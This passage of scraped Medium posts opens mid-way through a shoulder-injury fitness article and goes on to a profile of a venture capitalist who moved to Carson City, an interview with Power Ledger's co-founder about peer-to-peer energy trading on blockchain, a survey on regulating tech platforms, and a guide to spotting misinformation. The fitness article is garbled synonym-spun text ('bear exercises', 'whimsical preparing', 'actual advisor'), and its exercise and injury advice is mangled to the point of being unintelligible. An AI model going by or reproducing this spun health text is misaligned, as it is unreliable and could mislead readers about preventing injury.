You realize that position you accept when going to give your accomplice a high five after an incredible set? Elbow bowed 90 degrees, hand brought up noticeable all around? Kolber proposes evading the 90/90 situation during a free weight military press or behind-the-neck pull-down. This forestalls foremost shakiness, a condition that has been connected to back snugness and a few other shoulder wounds more genuine than impingement disorder. All things considered, Kolber suggests shoulder presses with an unbiased grasp (elbows pointed towards the mirror) and performing lat pull-downs before the neck to keep away from weak positions and decrease the danger of injury.
5. Do What Momma Said
Did your mom actually advise you to stand up directly to make you look taller? Newsflash: It’s basic to long haul shoulder wellbeing as well, says Karen Skolnik, MSPT, an actual advisor at the Infinity Sports Medicine and Rehabilitation in New York City. “It is critical to all activity, particularly with respect to bear exercises,” she says. Keeping up a great stance is the most steady situation for your shoulders to be in, and the more steady they are, the lower the injury hazard.
6. Slow Down
Numerous lifters and coaches realize that unusual muscle activity, or “negatives” as they are normally alluded to, are incredible muscle-building moves. The science goes somewhat more profound than that, however. “Proof proposes that whimsical preparing may offer a more noteworthy anabolic reaction at the tissue, which is required for recuperation and fix,” says Kolber. Have a go at easing back down during the bringing period of your lifts down to see increments in size, strength, and soundness — and a reduction in danger of injury — in your shoulders.
7. Stretch It Out
As indicated by fundamental outcomes in his most recent exploration, Kolber says, “people performing unpredictable burden preparing were found to have a deficiency of versatility enduring as long as 24 hours after the activity meeting.” Both he and Skolnik concur that dynamic extending is a very valuable instrument to look after portability. “Extending is significant subsequent to practicing in light of the fact that when you utilize a muscle, it contracts and abbreviates,” says Skolnik. “To keep up adaptability and appropriate body arrangement, it is basic to extend.” Long-term, the impact depicted above will prompt a deficiency of portability if extending isn’t acted related to the activity.
Possibly your shoulders are pestering you as of now or perhaps they’re okay. In any case, these techniques recorded above are incredible approaches to decrease your danger of injury (or further harm) and assemble ironclad shoulders that can bear up even to the most exceedingly awful positions you put them in. | https://medium.com/@cruzmariya7/7-ways-to-learn-shoulder-pain-effectively-28d056a8150 | ['Mariya Cruz'] | 2020-12-23 07:32:38.994000+00:00 | ['Medication', 'Pain', 'Pain Killer Pills', 'Painkillers'] |
A man on the move in the era of lockdown | Even in the era of remote work, it may come as a surprise that Grossblatt — once described as the real-life version of Silicon Valley’s Erlich Bachman — chooses to no longer live in the Bay Area. Why would he uproot himself and his family from arguably the global capital of all things tech for a tiny state capital where bureaucrats and civil servants far outnumber entrepreneurs and early adopters?
The answer, it turns out, is in that very question: his family.
For one, his 10- and 12-year-old kids were growing — and outgrowing the confines of one of the country’s most densely populated cities.
“For a change and a backyard” is how Grossblatt sums up the decision to move.
Mountains for neighbors: the view from the Grossblatts’ new backyard in Carson City (Photo courtesy of David Grossblatt)
Even for David and his wife Lesley, a backyard is a big draw. Being cooped up for 20 years in a city of now roughly 20,000 people per square mile has a way of making one yearn for extra legroom.
So, over the summer they hit the road in search of that legroom.
“We did what we did before: we started driving down [Interstate] 80, heading east,” says David, referring to how he and Lesley chose Sacramento in their previous (read: pre-children) lives.
“We didn’t want to go back to Sacramento. We’d already done that.”
They’re in good company: between July 2018 and July 2019, roughly 173,000 more people left California than moved there, according to U.S. Census data. Among the top recipients of this exodus was Nevada: in that time period, more than 47,000 people relocated from the Golden State to the Silver State. In fact, according to the Brookings Mountain West institute, there are now more adults in Nevada who were born in California than native Nevadans.
“We just kept driving, and eventually we got to Lake Tahoe and we realized, ‘Oh, this is very different.’…So, then we started deciding where we wanted to live up in the mountains.”
It came down to either Reno or Carson City. After visiting each, the capital city came out on top: “more ‘Tahoey,’ less ‘deserty’” is how David put his calculus.
Lesley was on board, too: “Carson City has a wonderful small town feel where neighbors are friendly and welcoming and have so much pride for their hometown and state,” she says.
“Capital cities, I think, are particularly interesting,” says David. “They tend to have a diverse population from across the entire state. Often, that’s where the museums are, and that’s where there’s interesting history.”
That history — both social and natural — comes in handy for the junior Grossblatts, who gladly spend more time in an exhibit hall or on the foothills of the Sierras than in any classroom.
In fact, they spend no time in a classroom at all — not because of distance learning in the age of quarantine (most public schools in Carson City have gone back to in-person instruction anyway), but because of a major decision that David and Lesley made a few years ago.
“We sent our kids to charter school, private school, tutoring,” says David, but none of that was quite the right fit for their kids.
With a dad around the house most of the time, homeschooling seemed like the logical thing to try out — why they did. But once again, the traditional approach of prescribed curricula fell flat.
Eventually, they came across a form of homeschooling paradoxically called unschooling. David describes it as “radical self-directed learning where the parent’s role is strictly as a facilitator.”
“When I’m in the role of facilitator, I have to push resources to them so they can explore what they’re interested in, empower them, and take them places together — something as simple as going food-shopping.”
The school day “never really begins or ends,” says David, who shares teaching — or rather, facilitating — with Lesley, whose job shifted primarily to remote work during the coronavirus pandemic.
Their kids aren’t the only ones learning. Lesley — the Chief Product Officer of San Francisco public media organization KQED — has picked up a thing or two about remote work from her husband.
“I’ve learned from David to constantly question the value of the time I’m spending on any given project/task,” says Lesley. “Am I adding value, or am I just marking time? Is what I’m doing the best use of my limited time and resources? When you’re not in an office and not worried about face time, you have the opportunity to reset your own expectations about how to best invest your time.”
And for his part, David is learning, too. When he’s in unschooling facilitator mode, David is just as likely to learn something from his kids as his kids from him. He gives the example of going on a hike with his son, when they stumble upon a peculiar kind of oak tree that David knows nothing about, but that his son has already researched online.
“They just spend so much time absorbing information, learning how to think, learning how to do stuff that they want to do. They have no governor on their learning. They never need to slow down for anybody. They never need to learn something they don’t want to learn. The totality of that is just exponentially greater, in my opinion, than having someone go through an organized lesson plan that they don’t care about.”
They may not need to learn something they’re not interested in, but they are learning how to tolerate opposing political views.
Whereas in San Francisco, Grossblatt knew conservatives who were afraid to voice their opinions in America’s liberal mecca, Carson City presents a decidedly more nuanced political makeup.
“In some ways, Carson City is a lot freer. I’ve seen multiple protests across the street. We have one sign on one side, one sign on the other side, and they’re screaming at each other, but everyone’s getting along. That may be a function of a capital city, because you get active people from all sides of the political spectrum in one location.”
Unique to this particular capital is the Carson Hot Springs, where Grossblatt likes to soak — and stew about where the digital economy is headed and how best to invest. While the pandemic has suppressed some industries, others are accelerating; it should come as no surprise that he’s bullish about his investment in a telemedicine startup.
Compared to powerhouse venture capital firms like Andreessen Horowitz and Sequoia, Grossblatt’s bets are miniscule; he knows he must play his cards carefully.
“As I get older, I really try to emphasize making more mistakes in my head than in real life…And, I’m constantly at this stage trying to make small moves with big impact.”
Making small moves may be Grossblatt’s M.O. in his professional life, but when it comes to his family life, a big move may be on the horizon. As radical a relocation to Carson City may be for a Silicon Valley venture capitalist, it’s nothing compared to what may lie ahead once the pandemic is a thing of the past.
“We’re actually eyeing the possibility of moving to Europe in a few years,” says Grossblatt, who — ever the innovator — calls this his “working concept”: to show his kids the world well beyond the West Coast.
Like Grossblatt said earlier, working from the opposite of American time — in this case, at least seven time zones ahead of Pacific — would present a professional challenge. But although his work is in California, his heart is in family — a family ever on the move. | https://medium.com/reno-tahoe-business-report/a-man-on-the-move-in-the-era-of-lockdown-160e68b45ead | ['Benjamin Payne'] | 2020-12-14 20:02:45.835000+00:00 | ['Blockchain', 'Remote Working', 'Nevada', 'San Francisco', 'California'] |
Interview with Dr. Jemma Green, co-founder and chairman of Power Ledger | You’re based in Perth Australia and have been with Power Ledger for a little over 2 years now. Can you break down what is Power Ledger and your involvement with the project?
Sure, I’m one of the co-founders and chairman of the company. Power Ledger is a technology company that enables distributed electricity markets using the blockchain. Our platform can be used to enable the trading of electricity as well as the settlement and payment between buyers and sellers. It’s also used as a way to fund energy assets — how the assets are funded and how they are operated.
As for “energy assets” and P2P energy trading, does that essentially mean you would not have to rely upon a central party to control your energy supply and would have less dependency on them?
You might have a household with solar panels or a battery that can sell its surplus to their neighbors, or there could be large solar farms that want to sell to many smaller customers instead of presently selling to one larger wholesale market participant. The platform can also be for carbon credits and certificates.
For example, we’re doing a project in California using electric vehicles to encourage them to charge during the day from solar-based electricity and they’d receive a carbon credit for doing that as opposed to charging at night, which may well be from fossil fuel-based electricity.
Electricity or energy can come from many different sources. Our technology works particularly well with renewables, but it can also be used for more traditional energy assets too.
In terms of how you arrived into the space. When did you come across Bitcoin and blockchain?
In January of 2016, a former colleague of mine introduced me to two blockchain developers. I actually thought it was a bit whacko at first, but I asked if there were any applications for the electricity sector because I was doing a PhD looking at disruption in electricity markets. I was at the point in my PhD where I was designing a solar and battery system for an apartment building and condo, and I was trying to find a software that would allocate units of electricity to each apartment where if you weren’t home to consume that allocation, you could trade it with your neighbors.
I couldn’t find anything that did that, so when I had this meeting with these blockchain guys, I started looking into these applications for electricity and I saw that it could do exactly what I had intended for the apartment building. I introduced them to Dave Martin who worked in electricity networks utility management and electricity markets for over 20 years. Dave had seen a problem in that part of the electricity sector where because of distributed renewables, the grid — the poles and wires — was being used less, and when I introduced him to the blockchain developers he started to see that this could enable a more transactive grid, maintaining utilization of the network and therefore its relevance.
He got really excited and said “I want to set up a company, do you want to join me?” and I said absolutely. So we explored that idea and I think on the 22nd of May 2016, about 4 months after that introduction, we set up Power Ledger. With those two ideas in mind — P2P trading across networks and P2P trading with buildings — we developed those products and deployed them in a number of different instances.
It was a serendipitous bit of circumstances that let me to learning more about the blockchain and setting up Power Ledger.
When I think of power grids and the way that they’re set up, ‘all roads lead to Rome’ come to mine in that all wires lead to electrical companies. As for how that’s structured, it seems less efficient than simply taking your energy and transacting it among a community.
One of the roadblocks in reaching that point is getting a green light to transact with your neighbors and begin exchanging energy with them. What hurdles do you have to deal with for Power Ledger to obtain that approval?
I think the main one is just acceptance and comprehension of what the blockchain does and how it works. When you’re dealing with utilities, they have operations that have remained relatively unchanged for over a century.
Getting their heads around what blockchain is in turns of not only a transaction record keeping system, but also that crypto is a payment system is quite a lot for people to digest. It’s not a quick conversation when you’re dealing with a big organization, there’s a lots of different conversations to be had to get people comfortable.
The first deployment we did of P2P trading was in Auckland, NZ with Vector, and the second one we’ve done was on the east coast of Australia with Origin Energy. And we have that we’re currently working on in Thailand. I think that while the energy companies don’t necessarily move that fast, they recognize that the market is changing very quickly.
So as for the level of interest and literacy they’ve got around alternative technologies, there’s certainly a willingness and openness to look at them. And we’re finding that the conversations we’re having now with projects are going much faster than when we set up the company, so I think the marketplace is getting more sophisticated.
For the person that’s coming into the space right now and wants to be able to exchange energy, own energy, and get involved in asset germination events: if I was living in an apartment building, how would I go about taking any surplus energy I had and start monetizing that?
Well in an apartment building you can do that right away in terms of trading your surplus with your neighbors. We have a number of programs in Fremantle or in Perth that are in a suburb called WGV that are doing that.
In terms of asset germination, we’ll be launching that product in 2018. Asset germination is a way of funding energy assets using the blockchain. We’re very excited about that and have a number of projects that we’re doing due diligence on right now, so I think it will be available to POWR token holders in the very near future.
Diving a little more into asset germination… so that’s more of a fundraising process to give POWR token holders a stake in these new assets and these new disruptive technologies for the energy sector?
It will allow them to fund the assets and for them to be able to assist the asset in operating optimally using the blockchain. I can’t say more than that because we’re not ready to talk about it in detail, but we are very excited about it.
In the past couple of months there’s been a bit of a contraction you could say in the markets as a whole. Usually that’s a great opportunity for companies to put their hard hats on and get to work. How has Power Ledger’s team been dealing with the bear market for the past 6, 7 months?
We know that the market is very volatile, and for us this is a marathon, not a sprint. If we were day trading the crypto markets that would be a different story, but our mission is around the democratization of power. We think that electricity is a basic human right, and that’s what’s really driving us in the work that we’re doing with deploying the technology and bringing more utility to the power token so there’s fundamental value behind it’s price, not just speculative value.
That’s what’s really going to change the whole market. We are in a speculative bubble and you can see that reflected by the price volatility. And it’s not that dissimilar from what we saw with the tech stock bubble and boom over the millenium.
In the beginning a lot of value was ascribed to companies based upon what they could possibly do and then over time there was expectation of delivery and a differentiation in the price of those companies. I think that a similar thing is happening in the crypto market — people are becoming more discerning and there’s now more of an expectation of delivery as opposed to just ideas that haven’t been thought through.
In terms of what else Power ledger doing — it’s not just P2P energy trading — there are a couple other items on your roadmap, and there are a couple other ways that the platform is intended to be used when it is deployed at scale, correct?
Yes — electric vehicle charging, carbon credits associated with the generation of renewables or tracking carbon emissions from traditional energy assets, and looking at how to fund energy assets as well. There’s a lot of different components of the electricity market and we’ve developed products to respond to problems that we’ve noticed in the market or pain points for incumbent players.
As for competitors in P2P energy trading. For starters, if you have competitors then you probably know that you’re in a good market — you can look around and can say that ok, somebody else has the same idea — are other companies trying to do the same thing as Power Ledger or at least a similar aspect of electrical trading?
There’s quite a lot. I mean, it’s fair to say they’ve been popping up like mushrooms. I think there must be 10 or 15 other players out there, some of them are focused on one area like carbon, others are particularly focused on disrupting a particular strategy, such as disrupting retailers — we want to partner with retailers by contrast — and there are some that are focused on funding the energy assets as well.
There’s a very diverse landscape of different players out there, and we welcome them all to the extent that they’re good actors and they don’t spread misinformation. I think it’s helpful to have them out there because we are creating a new marketplace and it’s important that their efforts are expedited to ensure that we are able to transition to a low cost and low carbon resilient energy future.
I did see on Power Ledger’s website, that you’re looking at a PoS mechanism for your consensus?
Yeah, so we’ve been looking at a hybrid that involves some PoS and PoW to deal with the scaling issues and to get the balance right in terms of security and I think it’s something that a lot of companies are looking at right now. So we are exploring a number of different blockchains that can help us with getting the scale that we need while also maintaining the security of our record keeping and payment system.
Switching over to some of the areas that you’re targeting for your pilots. One area that I think most can agree where Power Ledger will be most useful are these 3rd world countries, areas that don’t have an established power grid right now. How have you been watching those pilots, how have they been performing, and do you have any other targets set for the future?
So I think that the developing world as it currently stands is likely to repeat the mistakes of the developed world. And that means that they’re going to have electricity that’s unaffordable for most and a system that would be really catastrophic from a climate perspective. I think there is an entropy where you’ve got existing systems with incumbent players that you see in developed countries, whereas in the developing world there’s more willingness to look at alternative systems because they’re not fighting against an incumbent system.
So I think it could well be that the developing world doesn’t repeat the mistakes that we’ve made in developed cities and countries, and it is for that reason that we’re very focused on projects in Africa, we also have projects in Thailand right now, and I think that the rate of uptick is likely to exceed that of developed countries because of those reasons.
In terms of what you’ve been looking at in the space in general, is there anything that’s catching your eye recently in the news or any interesting projects?
I think the carbon markets is an area that is quite interesting. In terms of blockchain companies, most of them are more early days and nascent than the electricity markets, and electricity is fairly developed, whereas carbon markets, you know there’s a lot of potential to look at how the tokens or crypto can be used to create market incentives to solve climate change and mitigate carbon emissions and help countries transition from high carbon companies. I’m writing a piece for Forbes right now that will come out in the next week or so that will profile what’s happening in that space and the potential for blockchain to help, so I think that’s quite exciting.
Governance is another issue that I think about quite a lot. You have smart contracts, but ultimately you’re going to have humans involved at a certain point. And you want less humans involved than the current manual system of governing organizations and countries for that matter, but you do need that human intervention. And I think that’s very interesting, looking at what role do humans play still in the smart contract world and how can you ensure the integrity of an organization or system and how smart contracts will be replicated with paper contracts as well so that courts can actually read and interpret them clearly too. So there’s quite a lot that’s yet to be worked out in these areas and I think that’s quite exciting.
Other than that, what’s happening in the regulatory space, in countries like the US and their position on tokens as securities — I think it’s quite interesting because it will drive another wave of innovation in crypto to respond to that, and we may not even end up with blockchains that look like they do today as a result of some of these large countries adopting very strong positions. Countries may exclude themselves from the market and we’re already seeing bits of that happening like the Toronto Stock exchange in Canada is becoming the hub for listing whereas it might’ve otherwise been the Nasdaq or NYSE because of how the SEC is choosing to approach blockchain and crypto.
So I think that the data security movement as well is something that has made consumers far more aware of what’s happening with their data and become much more interest in technologies that allow them to control it. We’ve seen in Singapore that 1.5 million health records were compromised in the past couple of weeks, and here in Australia we’re actually moving to a digital health record system that a number of Australians are opting out of because of concerns with that. So I think that data integrity and data security and data control are trends that are going to really shape how the technology unfolds.
Finally, in terms of adoption — we’ve seen a lot happening in terms of using things like airdrops, and that’s more for growing communities, but I think we’re going to start seeing market participants in blockchain and crypto using some of their treasury to create airdrops to encourage people to act as nodes on the network or mine data into the network or develop applications onto the network. We’ve seen companies doing that till now — Ethereum has been very effective at creating that whole network effect, but I think we’ll see far more sophisticated airdrop and market incentives to speed up the rate of adoption.
A conversation going around crypto twitter is this idea of usability and how decentralized projects must have a great UX to drive greater adoption. Even with autonomy and freedom, if there isn’t a streamlined onboarding process, it’s more likely that people are going to stick with centralized projects that have control of their data, but are (1) easy to use, (2) all of their friends are on it, and (3) the risk of a data breach isn’t really taken into consideration. I think the projects that are going to stick around are the ones that are able to find that happy medium.
That’s a great comment about the friction in organizations, understanding crypto and adopting it. The less friction that can be had in the user experience with the platform, the technology, and de-risking these products will have a huge impact on market adoption.
I think in the past 6 months we’ve seen a lot of greed take hold in the ICO service providers. You can see that reflected in the burgeoning cost — the prices of services are going up hundreds of percentage points — and it’s almost that you need to do a capital raise before you need to do an ICO.
And the listing cost for exchanges is burgeoning. It can take millions and millions of dollars to get on good exchanges, so you either need to be raising serious amounts of capital or spending a lot of it to get listed on the exchanges.
This kind of golden era where you can just make truckloads of money from doing an ICO I think is changing, and that will probably cause a lot more innovation around decentralized exchanges providing more liquidity, and centralized exchanges are still going to charge a lot of money.
It’s also worth noting we’ve reduced friction in our model because our end user won’t interact with POWR or crypto. Our two token structure means they trade energy using Sparkz, which act like phone minutes or credits, but for energy. | https://medium.com/the-daily-bit/interview-with-dr-jemma-green-co-founder-and-chairman-of-power-ledger-dbab996f560e | ['Daily Bit'] | 2018-09-15 14:42:32.481000+00:00 | ['Alternative Energy', 'Blockchain', 'Fintech', 'Power Ledger', 'Energy'] |
Should platforms be regulated? A new survey says yes. | In the two years since the 2016 election, the role major social media and technology companies like Facebook, Google and Twitter play in enabling (or corroding) an informed society has become an issue of increasing concern.
It is well known at this stage that these platforms are a key destination for news. They regularly make decisions about who gets to provide information and who gets to see it. But as misinformation infects newsfeeds, and information echo chambers become the norm, should there be rules that govern their role as news editors?
A new survey says yes — almost eight in 10 Americans agree that these companies should be subject to the same rules and regulations as newspapers and television networks that are responsible for the content they publish. The survey is part of a series of reports released by Knight Foundation and Gallup over the course of the year exploring American perceptions of trust, media and democracy.
Over 20 years ago, the Telecommunications Act of 1996 — in many ways the first law of internet — codified in law that those providing internet services are not publishers. They cannot be held responsible for content posted by third parties.
Many regard this as a vital legal principle responsible for much of the growth of the internet. After all, if Google in its garage days could be sued for linking to a popular website full of slander, or Facebook in its dorm days could be sued because someone posted indecent content, they may never have grown up to become the ubiquitous and essential services they are today.
Yet the modern realities of these services and their reach has left society with some uncomfortable questions about their responsibilities. While the majority of U.S. adults (54 percent), especially those ages 18 to 34 (66 percent), believe that internet companies do help people stay better informed, Americans increasingly expect tech companies to take on new obligations as information distributors.
Our survey found that a large majority think tech companies should do more to stop the spread of misinformation and are uncomfortable with the level of personalization of these services when it comes to news. Most (88 percent) feel that internet companies should disclose the methods they use to deliver news content.
Three quarters (73 percent) say that all users should be shown the same topics as opposed to being shown topics based on their interest and activity. And eight in 10 say that, for a given topic, all users should be shown items from the same news organizations. Only 17 percent of respondents reported they would prefer these companies to show each user news from sources they seem to prefer based on their interests and activity.
While misinformation was seen as a problem that companies should address — respondents were less sure about how to do this. A strong majority (80 percent) support the idea of major internet companies being responsible for excluding content that the companies suspect is misinformation. Yet Americans are also concerned that removing content would lead to biased pictures of the news. In addition, they worry that it would potentially increase the influence that companies have in reporting news related to their own preferred points of view and restrict the expression of certain perspectives.
In addition, while Americans favor regulations on tech companies, they are not looking to the government to ensure that these companies provide their users with accurate and unbiased news. They see the responsibility as falling more on the companies themselves (46 percent) or their users (38 percent).
There are obvious tensions in public perceptions on these issues, and a seeming disconnect between expressed points of view and behavior. After all, people may decry personalization, but the value of these companies and their revenues would suggest that most users and consumers do, in fact, appreciate the level of personalization that the internet provides.
Or, perhaps, people want to eat their vegetables when it comes to staying informed, but acknowledge they’ll devour cookies if offered them instead.
What’s clear is that the public is struggling to reconcile their growing use of these services to stay informed with the effects of an information environment governed by a different set of rules, practices and norms than legacy media. And in that the broader public resembles lawmakers and leaders at these companies themselves.
These are hard questions for the future of our informed society. We hope this research enables a more informed discussion about how to answer them. | https://medium.com/trust-media-and-democracy/should-platforms-be-regulated-a-new-survey-says-yes-2f3f4d0d1f00 | ['Sam Gill'] | 2018-08-15 16:18:24.018000+00:00 | ['Knight Public Opinion', 'Social Media', 'Research', 'News', 'Democracy'] |
Recognizing Facts, Fiction, and Conspiracy Theory | There is a lot of information available to people in the 21st century, and it can be difficult to sift through and evaluate which of that information is valid. Experts can be overturned, people misunderstand education as being opinion instead of fact thus they assign it a label meant to discredit facts, and widely spread videos, stories, or memes can seem trustworthy when they are not. Conspiracy theory is even more sinister, mixing some truth with otherwise unverifiable information. So, I want to give you some pointers about how best to judge credibility for that which you are seeing widely spread by your friends can family, often on social media:
First, if it feels a little off then it likely is. Your ‘spidey sense’ is a pretty good first indicator that you should look deeper. If you find yourself struggling to accept information given to you, but you can’t directly refute it, it often means you should dig deeper.
Second, just because it is widely spread or a trusted friend shared it does not mean it is reputable. Often times information can seem credible and without confirming its accuracy people will share it. Sometimes, even against their own ‘spidey sense’.
Make sure you are following CCCRAVEN.
Is the information CONSISTENT with what you know and other related information?
Is the information able to be CORROBERATED with reputable and trustworthy sources? If not, it likely is not true.
Is the information from a REPUTABLE source? This doesn’t mean your friend or family member, it means the originator of the information.
Are you ABLE to see or witness how the information was gathered? If someone claims it occurred behind closed doors in a faraway land, then you can be confident it is likely not credible information.
Does the originator of the information have a VESTED INTEREST in sharing? Will they gain followers, make money, or otherwise benefit? If so, there is a possibility they are not a credible resource.
Does the person have EXPERTISE and KNOWLEDGE? Degrees are helpful signals, but are they also employed by the government, a university, or widely published and peer reviewed? If not, there is a good chance they are commentating on something, potentially over simplifying it, and you may not be getting the full picture. (Consider this class, I bet you didn’t consider all the depths we’ve visited even here, and this is only scratching the surface. So imagine how much a TV commentator could be under-analysing)
Has the originator proven themselves to be a NEUTRAL resource? If not, if you know them to be biased, then consider that bias in your own analysis of credibility for what they are saying.
Dissect the arguments made by asking why, what are the reasons they used to support it, asking/considering if there are counter arguments, what evidence did they provide which can be verified, and what conclusions did they draw?
Evaluate the evidence based on all of the above. Were the reasons convincing and sufficient to logically lead to the conclusions drawn?
If you were asked to refute what they are claiming, how would you attack their claims? Use that to dig deeper, try to see if you can debunk what they said by using the same tools. However, be careful not to fall into using less than reputable information yourself.
Here is a starter to help. As a first rule of thumb, I stick with the green box:
Source: https://www.adfontesmedia.com/ | https://medium.com/@markjflowers/recognizing-facts-fiction-and-conspiracy-theory-fcae16e298bc | ['Mark J Flowers'] | 2020-11-24 16:51:47.203000+00:00 | ['Social Media', 'Conspiracy Theories', 'News', 'Conspiracy', 'Fake News'] |
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